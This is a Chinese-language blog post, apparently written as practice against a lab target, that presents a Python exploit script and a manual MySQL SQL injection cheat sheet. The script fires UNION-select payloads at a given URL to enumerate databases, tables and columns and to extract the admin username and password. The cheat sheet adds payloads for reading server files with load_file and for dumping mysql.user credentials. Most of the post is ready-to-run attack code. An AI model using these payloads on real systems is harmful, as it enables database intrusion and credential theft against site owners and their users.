Python编写第一个exp

当时学习Python就是为了编写exp

今天找了个简单的靶机练练手

顺便记录下SQL的手动注入命令

  1. #!usr/bin/env python
  2. #coding=utf8
  3.  
  4. import requests
  5. import re
  6. import sys
  7.  
  8.  
  9. def main(argv):
  10. if(len(argv) != 2):
  11. print ("Usage: " +sys.argv[0] + "<URL>")
  12. sys.exit(0)
  13.  
  14. else:
  15. url = argv[1]
  16. all_payload = [#"?id=1 order by 1--+",
  17. #"?id=1 and 1=2 union select 1,2--+",
  18. "?id=1 and 1=2 union select 1,database()--+",
  19. "?id=1 and 1=2 union select 1,version()--+",
  20. "?id=1 and 1=2 union select 1,user()--+",
  21. "?id=1 and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1",
  22. "?id=1 and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 1,1",
  23. "?id=1 and 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x"+
  24. str_to_hex("maoshe")+" limit 1,1",
  25. "?id=1 and 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x"+
  26. str_to_hex("maoshe")+" limit 1,1",
  27. "?id=1 and 1=2 union select 1,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=0x"+
  28. str_to_hex("maoshe"),
  29. "?id=1 and 1=2 union select 1,group_concat(distinct COLUMN_NAME) from information_schema.columns where TABLE_NAME=0x"+str_to_hex("admin"),
  30. "?id=1 and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x"+str_to_hex("admin")+" limit 0,1",
  31. "?id=1 and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x"+str_to_hex("admin")+" limit 1,1",
  32. "?id=1 and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x"+str_to_hex("admin")+" limit 2,1",
  33. "?id=1 and 1=2 union select 1,group_concat(distinct id) from admin",
  34. "?id=1 and 1=2 union select 1,username from admin t where t.id=1",
  35. "?id=1 and 1=2 union select 1,password from admin t where t.id=1",
  36. ]
  37. for payload in all_payload:
  38. exp = url + payload
  39. r = requests.get(exp)
  40. #print(r.text)
  41. print re.findall(r"class=\"content\">\n(.*?) </div>", r.text,re.S)
  42.  
  43.  
  44. def str_to_hex(s):
  45. return ''.join([hex(ord(c)).replace('0x','') for c in s])
  46.  
  47. if __name__ == '__main__':
  48. main(sys.argv)

 

常用注入

查看mysql基本信息
and 1=2 union select 1,version() —– 查看数据库版本
and 1=2 union select 1,database() —- 查看当前使用的数据库
and 1=2 union select 1,user() ——查看当前数据库用户
and ord(mid(user(),1,1))=114 —— 判断用户是否为root

暴字段内容
UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名
and 1=1 union select 1,2
select * from db WHERE id= x and 1=1 Union select 1,2,3,4,5—————-

暴字段位置
and 1=2 union select 1,2
select * from db WHERE id= x and 1=2 Union select 1,2,3,4,5—————-

暴数据库信息(有些网站不适用):
and 1=2 union all select version() /*
and 1=2 union all select database() /*
and 1=2 union all select user() /*

暴操作系统信息:
and 1=2 union all select @@global.version_compile_os from mysql.user /*
and 1=2 union select 1,load_file(0x433a5c78616d70705c6874646f63735c696e6465782e68746d6c) — C:\boot.ini

建议熟悉Mysql 默认数据库information_schema 中的表

[information_schema.SCHEMATA] ——-SCHEMA_NAME 所有数据库名

[information_schema.TABLES] ——-TABLE_NAME 所有表名
——-TABLE_SCHEMA 数据库名

[information_schema.COLUMNS] ——-COLUMN_NAME 所有字段名
——-TABLE_SCHEMA 数据库名

[查询所有库] ——–select SCHEMA_NAME from information_schema.SCHEMATA;
[查询所有表] ——–select TABLE_SCHEMA,TABLE_NAME from information_schema.TABLES;
[查询所有字段]——–select COLUMN_NAME from information_schema.COLUMNS WHERE TABLE_NAME = 0x75736572

暴库
(mysql>5.0,5.0 以后的版本才有information_schema, information_schema,存储着mysql 的所有数据库和表结构信息
and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1 —- 第一个数据库
and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 1,1 —- 第二个数据库
and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 2,2 —- 第三个数据库
and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 3,3 —- 第四个数据库
and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 4,4 —- 第五个数据库

暴出所有库:
and 1=2 union select 1,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

暴表
and 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=数据库名(十六进制) limit 0,1

and 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x6d7973716c limit 0,1
and 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x6d7973716c limit 1,1
and 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x6d7973716c limit 2,2
and 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x6d7973716c limit 3,3

暴出所有表
and 1=2 union select 1,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=0x6d7973716c

暴字段
and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=表明(十六进制) limit 0,1

and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x75736572 limit 0,1
and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x75736572 limit 1,1
and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x75736572 limit 2,2
and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x75736572 limit 3,3

暴Mysql数据库user表
and 1=2 union select 1,group_concat(Host,User,Password) from mysql.user

扩展推荐

https://sqlzoo.net/wiki/SQL_Tutorial/zh
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
https://resources.infosecinstitute.com/sql-injections-introduction/

发表评论

邮箱地址不会被公开。 必填项已用*标注